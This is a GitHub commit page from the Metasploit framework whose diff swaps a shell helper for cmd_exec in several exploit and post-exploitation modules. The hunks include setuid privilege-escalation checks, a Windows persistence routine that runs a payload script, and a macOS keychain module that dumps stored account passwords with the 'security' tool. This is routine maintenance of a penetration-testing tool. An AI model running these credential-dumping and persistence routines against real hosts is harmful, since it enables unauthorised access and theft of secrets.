Skip to content

Commit 326bec0

Browse files
committed
Land rapid7#5581, s/shell_command_token/cmd_exec/
2 parents a10fa02 + 12188f1 commit 326bec0

File tree

8 files changed

+130
-129
lines changed

8 files changed

+130
-129
lines changed

modules/exploits/freebsd/local/mmap.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,7 @@ def initialize(info={})
5555
end
5656

5757
def check
58-
res = session.shell_command_token("uname -a")
58+
res = cmd_exec('uname -a')
5959
return Exploit::CheckCode::Appears if res =~ /FreeBSD 9\.[01]/
6060

6161
Exploit::CheckCode::Safe

modules/exploits/osx/local/setuid_tunnelblick.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,7 @@ def check
6161
return CheckCode::Safe
6262
end
6363

64-
check = session.shell_command_token("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000")
64+
check = cmd_exec("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000")
6565

6666
if check =~ /openvpnstart/
6767
return CheckCode::Vulnerable

modules/exploits/osx/local/setuid_viscosity.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,7 @@ def check
6161
return CheckCode::Safe
6262
end
6363

64-
check = session.shell_command_token("find #{datastore["Viscosity"]} -type f -user root -perm -4000")
64+
check = cmd_exec("find #{datastore["Viscosity"]} -type f -user root -perm -4000")
6565

6666
if check =~ /ViscosityHelper/
6767
return CheckCode::Vulnerable

modules/exploits/windows/local/persistence.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -230,9 +230,9 @@ def target_exec(script_on_target)
230230
# Error handling for process.execute() can throw a RequestError in send_request.
231231
begin
232232
unless datastore['EXE::Custom']
233-
session.shell_command_token(script_on_target)
233+
cmd_exec("wscript \"#{script_on_target}\"")
234234
else
235-
session.shell_command_token("cscript \"#{script_on_target}\"")
235+
cmd_exec("cscript \"#{script_on_target}\"")
236236
end
237237
rescue
238238
print_error("Failed to execute payload on target")

modules/post/multi/gather/enum_vbox.rb

Lines changed: 30 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -16,10 +16,10 @@ def initialize(info={})
1616
super( update_info(info,
1717
'Name' => 'Multi Gather VirtualBox VM Enumeration',
1818
'Description' => %q{
19-
This module will attempt to enumerate any VirtualBox VMs on the target machine.
20-
Due to the nature of VirtualBox, this module can only enumerate VMs registered
21-
for the current user, thereforce, this module needs to be invoked from a user context.
22-
},
19+
This module will attempt to enumerate any VirtualBox VMs on the target machine.
20+
Due to the nature of VirtualBox, this module can only enumerate VMs registered
21+
for the current user, thereforce, this module needs to be invoked from a user context.
22+
},
2323
'License' => MSF_LICENSE,
2424
'Author' => ['theLightCosine'],
2525
'Platform' => %w{ bsd linux osx unix win },
@@ -29,27 +29,37 @@ def initialize(info={})
2929

3030
def run
3131
if session.platform =~ /win/
32-
res = session.shell_command_token_win32('"c:\Program Files\Oracle\VirtualBox\vboxmanage" list -l vms') || ''
33-
if res.include? "The system cannot find the path specified"
34-
print_error "VirtualBox does not appear to be installed on this machine"
35-
return nil
36-
elsif res == "\n"
37-
print_status "VirtualBox is installed but this user has no VMs registered. Try another user."
38-
return nil
32+
if session.type == 'meterpreter'
33+
begin
34+
res = cmd_exec('c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage', 'list -l vms')
35+
rescue ::Rex::Post::Meterpreter::RequestError
36+
print_error('VirtualBox does not appear to be installed on this machine')
37+
return nil
38+
end
39+
40+
if res.empty?
41+
print_status('VirtualBox is installed but this user has no VMs registered. Try another user.')
42+
return nil
43+
end
44+
else
45+
res = cmd_exec('"c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage" list -l vms')
46+
if res.empty?
47+
print_error('VirtualBox isn\'t installed or this user has no VMs registered')
48+
return nil
49+
end
3950
end
4051
elsif session.platform =~ /unix|linux|bsd|osx/
41-
res = session.shell_command('vboxmanage list -l vms')
42-
unless res.start_with? "Sun VirtualBox"
43-
print_error "VirtualBox does not appear to be installed on this machine"
44-
return nil
45-
end
46-
unless res.include? "Name:"
47-
print_status "VirtualBox is installed but this user has no VMs registered. Try another user."
52+
res = cmd_exec('vboxmanage list -l vms')
53+
54+
unless res.start_with?('Sun VirtualBox') || res.include?('Name:')
55+
print_error('VirtualBox isn\'t installed or this user has no VMs registered')
4856
return nil
4957
end
5058
end
51-
print_good res
52-
store_loot('virtualbox_vms', "text/plain", session, res, "virtualbox_vms.txt", "Virtualbox Virtual Machines")
59+
60+
vprint_status(res)
61+
store_path = store_loot('virtualbox_vms', "text/plain", session, res, "virtualbox_vms.txt", "Virtualbox Virtual Machines")
62+
print_good("#{peer} - File successfully retrieved and saved on #{store_path}")
5363
end
5464

5565

modules/post/multi/gather/env.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def get_env_shell
4242
@ltype = "unix.environment"
4343
cmd = "env"
4444
end
45-
@output = session.shell_command_token(cmd)
45+
@output = cmd_exec(cmd)
4646
end
4747

4848
def get_env_meterpreter

modules/post/osx/gather/enum_keychain.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -29,16 +29,16 @@ def initialize(info={})
2929
end
3030

3131
def list_keychains
32-
keychains = session.shell_command_token("security list")
33-
user = session.shell_command_token("whoami")
32+
keychains = cmd_exec("security list")
33+
user = cmd_exec("whoami")
3434
print_status("The following keychains for #{user.strip} were found:")
3535
print_line(keychains.chomp)
3636
return keychains =~ /No such file or directory/ ? nil : keychains
3737
end
3838

3939
def enum_accounts(keychains)
40-
user = session.shell_command_token("whoami").chomp
41-
out = session.shell_command_token("security dump | egrep 'acct|desc|srvr|svce'")
40+
user = cmd_exec("whoami").chomp
41+
out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")
4242

4343
i = 0
4444
accounts = {}
@@ -73,7 +73,7 @@ def get_passwords(accounts)
7373
s = accounts[num]["svce"]
7474
end
7575

76-
cmd = session.shell_command_token("security #{c} -ga \"#{accounts[num]["acct"]}\" -s \"#{s}\" 2>&1")
76+
cmd = cmd_exec("security #{c} -ga \"#{accounts[num]["acct"]}\" -s \"#{s}\" 2>&1")
7777

7878
cmd.split("\n").each do |line|
7979
if line =~ /password: /
@@ -109,7 +109,7 @@ def run
109109
return
110110
end
111111

112-
user = session.shell_command_token("/usr/bin/whoami").chomp
112+
user = cmd_exec("/usr/bin/whoami").chomp
113113
accounts = enum_accounts(keychains)
114114
save(accounts)
115115

0 commit comments

Comments
 (0)